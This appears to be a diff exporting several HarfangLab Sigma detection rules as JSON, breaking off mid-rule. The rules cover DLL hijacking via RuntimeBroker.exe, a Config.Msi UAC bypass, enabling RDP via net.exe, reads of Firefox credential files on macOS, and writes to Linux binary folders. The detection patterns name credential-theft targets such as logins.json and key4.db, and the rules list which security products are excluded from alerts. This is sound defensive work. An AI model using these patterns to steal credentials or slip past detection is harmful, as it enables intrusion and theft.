+  "content": "title: DLL Hijacking via RuntimeBroker.exe\nid: 5c110770-959d-46ff-accb-461154a9d92d\ndescription: |\n    Detects potential Windows DLL Hijacking via RuntimeBroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/0xToxin/status/1622651732160282628\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'RuntimeBroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\rmclient.dll'\n            - '\\umpdc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c110770-959d-46ff-accb-461154a9d92d",
+  "rule_name": "DLL Hijacking via RuntimeBroker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via RuntimeBroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c16d11a-fb1c-47ea-92f2-3c71808bc881",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624056Z",
+  "creation_date": "2026-03-23T11:45:34.624058Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624063Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks",
+    "https://github.com/Wh04m1001/IFaultrepElevatedDataCollectionUAC",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_config_msi.yml",
+  "content": "title: Config.Msi UAC Bypass Executed\nid: 5c16d11a-fb1c-47ea-92f2-3c71808bc881\ndescription: |\n    Detects the UAC bypass technique exploiting the MSI rollback scripts.\n    Attackers with low-privileged code execution on a target host and an arbitrary file or directory delete can achieve UAC bypass with privilege escalation to SYSTEM.\n    It is recommended to analyze the .rbs or rbf file to look for malicious content, as well as to look for suspicious processes stemming from msiexec during the rollback operation.\nreferences:\n    - https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks\n    - https://github.com/Wh04m1001/IFaultrepElevatedDataCollectionUAC\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2022/11/04\nmodified: 2026/03/19\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            - '?:\\Config.Msi\\\\*.rbs'\n            - '?:\\Config.Msi\\\\*.rbf'\n\n    filter_legitimate_writer_1:\n        - ProcessOriginalFileName:\n            - 'msiexec.exe'\n            - 'Wmiprvse.exe'\n            - 'MDMAppInstaller.exe'\n          ProcessUserSID: 'S-1-5-18'\n        - ProcessImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n          ProcessUserSID: 'S-1-5-18'\n\n    filter_legitimate_writer_2:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n\n    filter_legitimate_writer_3:\n        ProcessOriginalFileName: 'MDMAppInstaller.exe'\n        ProcessParentImage:\n            - '?:\\Windows\\System32\\omadmclient.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    filter_legitimate_writer_4:\n        # C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Endpoint Security for Windows\\avp.exe\n        ProcessProcessName: 'avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Kaspersky Lab'\n            - 'Kaspersky Lab JSC'\n\n    filter_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_intune:\n        ProcessImage: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_kerio:\n        ProcessImage:\n            - '?:\\Program Files\\Kerio\\UpdaterService\\ktupdaterservice.exe'\n            - '?:\\Program Files (x86)\\Kerio\\UpdaterService\\ktupdaterservice.exe'\n        ProcessOriginalFileName: 'ktupdaterservice.exe'\n\n    exclusion_doubletake:\n        ProcessImage: '?:\\Program Files\\Vision Solutions\\Double-Take\\DoubleTake.exe'\n\n    exclusion_defender:\n        ProcessImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c16d11a-fb1c-47ea-92f2-3c71808bc881",
+  "rule_name": "Config.Msi UAC Bypass Executed",
+  "rule_description": "Detects the UAC bypass technique exploiting the MSI rollback scripts.\nAttackers with low-privileged code execution on a target host and an arbitrary file or directory delete can achieve UAC bypass with privilege escalation to SYSTEM.\nIt is recommended to analyze the .rbs or rbf file to look for malicious content, as well as to look for suspicious processes stemming from msiexec during the rollback operation.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2026-03-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c19d920-4c81-4370-9af8-25e9bef6b870",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077094Z",
+  "creation_date": "2026-03-23T11:45:34.077096Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077101Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://revertservice.com/10/termservice/",
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://attack.mitre.org/techinques/t1021/001",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1021_001_net_start_rdp.yml",
+  "content": "title: Remote Desktop Services Enabled via net.exe\nid: 5c19d920-4c81-4370-9af8-25e9bef6b870\ndescription: |\n    Detects command-line arguments starting the \"TermService\" service via the \"net\" utility, a service essential for enabling Remote Desktop Services.\n    Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - http://revertservice.com/10/termservice/\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://attack.mitre.org/techinques/t1021/001\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/01/16\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.001\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_command:\n        CommandLine|contains: ' start TermService'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c19d920-4c81-4370-9af8-25e9bef6b870",
+  "rule_name": "Remote Desktop Services Enabled via net.exe",
+  "rule_description": "Detects command-line arguments starting the \"TermService\" service via the \"net\" utility, a service essential for enabling Remote Desktop Services.\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-01-16",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c3a5ca6-ffd2-4fe9-af67-71720831dc70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098279Z",
+  "creation_date": "2026-03-23T11:45:34.098281Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098285Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1552_004_read_firefox_sensitive_files_macos.yml",
+  "content": "title: Suspicious Read Access to Firefox Sensitive Files\nid: 5c3a5ca6-ffd2-4fe9-af67-71720831dc70\ndescription: |\n    Detects a suspicious access to Firefox browser files that hold, for instance, cookies or users passwords.\n    Adversaries may steal web application cookies and credentials and use them for lateral movement in websites or inside an organization.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - attack.t1555.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_access:\n        Path:\n            - '/Users/*/Library/Application Support/Firefox/Profiles/*/cookies.sqlite'\n            - '/Users/*/Library/Application Support/Firefox/Profiles/*/formhistory.sqlite'\n            - '/Users/*/Library/Application Support/Firefox/Profiles/*/key4.db'\n            - '/Users/*/Library/Application Support/Firefox/Profiles/*/logins.json'\n        ProcessImage|contains: '?'\n        Kind: 'read'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        ProcessImage:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n            - '/Applications/WithSecure/WithSecure Agent.app/Contents/MacOS/wsagent'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n    exclusion_mcafee:\n        Image: '/usr/local/McAfee/AntiMalware/VShieldScanner'\n    exclusion_checkpoint:\n        Image: '/Applications/Check Point/Agents/cpamdApp.app/Contents/MacOS/cpamdApp'\n    exclusion_vshield_scanner:\n        Image: '/usr/local/McAfee/AntiMalware/VShieldScanner'\n    exclusion_kaspersky:\n        Image: '/Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n    exclusion_norton:\n        Image: '/Applications/Norton.app/Contents/Backend/utils/com.norton.mes.endpointsecurity.app/Contents/MacOS/com.norton.mes.endpointsecurity'\n    exclusion_virusscanner:\n        Image: '/Applications/VirusScannerPlus.app/Contents/MacOS/VirusScannerPlus'\n\n    ### backup software ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n# Common browser exclusion\n    filter_chrome:\n        Image:\n            - '/Applications/Google Chrome*.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Applications/Google Chrome*.app/Contents/MacOS/Google Chrome'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Volumes/Google Chrome/Google Chrome.app/Contents/MacOS/Google Chrome'\n            - '/Users/*/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper'\n            - '/Users/*/Google Chrome.app/Contents/MacOS/Google Chrome'\n    exclusion_edge:\n        Image:\n            - '/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge'\n            - '/Applications/Microsoft Edge.app/Contents/Frameworks/Microsoft Edge Framework.framework/Versions/*/Helpers/Microsoft Edge Helper.app/Contents/MacOS/Microsoft Edge Helper'\n    exclusion_firefox:\n        Image:\n            - '*/Firefox*.app/Contents/MacOS/firefox'\n            - '*/Firefox*.app/Contents/MacOS/pingsender'\n            - '*/Firefox*.app/Contents/MacOS/crashreporter'\n            - '*/Firefox*.app/Contents/MacOS/minidump-analyzer'\n            - '*/Firefox*.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container'\n            - '*/Firefox*.app/Contents/MacOS/media-plugin-helper.app/Contents/MacOS/Firefox* Media Plugin Helper'\n            - '*/Firefox*.app/Contents/MacOS/media-plugin-helper.app/Contents/MacOS/crashreporter'\n            - '*/Firefox*.app/Contents/MacOS/media-plugin-helper.app/Contents/MacOS/minidump-analyzer'\n    exclusion_safari:\n        Image:\n            - '/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n            - '/System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.BrowserDataImportingService.xpc/Contents/MacOS/com.apple.Safari.BrowserDataImportingService'\n    exclusion_arc:\n        Image:\n            - '/Applications/Arc.app/Contents/MacOS/Arc'\n            - '/Applications/Arc.app/Contents/Frameworks/ArcCore.framework/Versions/A/Helpers/Arc Helper.app/Contents/MacOS/Arc Helper'\n            - '/Applications/Arc.app/Contents/Frameworks/ArcCore.framework/Versions/A/Helpers/Arc Helper (Plugin).app/Contents/MacOS/Arc Helper (Plugin)'\n    filter_brave:\n        Image:\n            - '/Applications/Brave Browser.app/Contents/MacOS/Brave Browser'\n            - '/Applications/Brave Browser.app/Contents/Frameworks/Brave Browser Framework.framework/Versions/*/Helpers/Brave Browser Helper.app/Contents/MacOS/Brave Browser Helper'\n    exclusion_opera:\n        Image:\n            - '/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n            - '/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/MacOS/Opera'\n            - '/Users/*/Applications/Opera.app/Contents/Frameworks/Opera Framework.framework/Versions/*/Helpers/Opera Helper.app/Contents/MacOS/Opera Helper'\n    exclusion_burp:\n        Image: '/usr/local/bin/burp'\n# end common browser exclusion\n\n    exclusion_custom_certutil:\n        Image:\n            - '/Library/Application Support/Netskope/STAgent/certutil/certutil'\n            - '/Applications/Norton.app/Contents/Backend/utils/certutil/certutil'\n            - '/Applications/Avast.app/Contents/Backend/utils/certutil/certutil'\n\n    exclusion_soffice:\n        Image: '/Applications/LibreOffice.app/Contents/MacOS/soffice'\n\n    exclusion_go2meeting:\n        Image: '/Users/*/Library/Application Support/LogMeInInc/GoToMeeting/G2MUpdate'\n\n    exclusion_bomgar:\n        Image: '/Applications/.com.bomgar.scc.*/Remote Support Customer Client.app/Contents/MacOS/sdcust'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_copy:\n        Image: '/bin/cp'\n        ProcessSignatureSigningId: 'com.apple.cp'\n        ProcessSigned: 'true'\n\n    exclusion_bzgrep:\n        Image: '/bin/cp'\n        ProcessSignatureSigningId: 'com.apple.bzgrep'\n        ProcessSigned: 'true'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5c3a5ca6-ffd2-4fe9-af67-71720831dc70",
+  "rule_name": "Suspicious Read Access to Firefox Sensitive Files",
+  "rule_description": "Detects a suspicious access to Firefox browser files that hold, for instance, cookies or users passwords.\nAdversaries may steal web application cookies and credentials and use them for lateral movement in websites or inside an organization.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c3f0f0f-0082-4863-ba3a-b9b746772135",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.507922Z",
+  "creation_date": "2026-03-23T11:45:34.093975Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093979Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/005/",
+    "https://attack.mitre.org/techniques/T1554/"
+  ],
+  "name": "t1036_005_suspicious_write_in_binary_folder_linux.yml",
+  "content": "title: Suspicious Write in the Binary Folder\nid: 5c3f0f0f-0082-4863-ba3a-b9b746772135\ndescription: |\n    Detects a suspicious write to one of the common binary folders (\"/bin/\", \"/sbin\", \"/usr/bin/\", \"/usr/sbin/\").\n    Adversaries may try to match the name of a legitimate system binary when creating a malicious executable.\n    It is recommended to ensure that the process writing to those directories is a legitimate installer and that the file being installed isn't malicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/005/\n    - https://attack.mitre.org/techniques/T1554/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - attack.persistence\n    - attack.t1554\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.Masquerading\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n        Path|startswith:\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n        ProcessParentImage|contains: '?'\n\n    selection_rename:\n        Kind: 'rename'\n        TargetPath|startswith:\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n        ProcessParentImage|contains: '?'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: 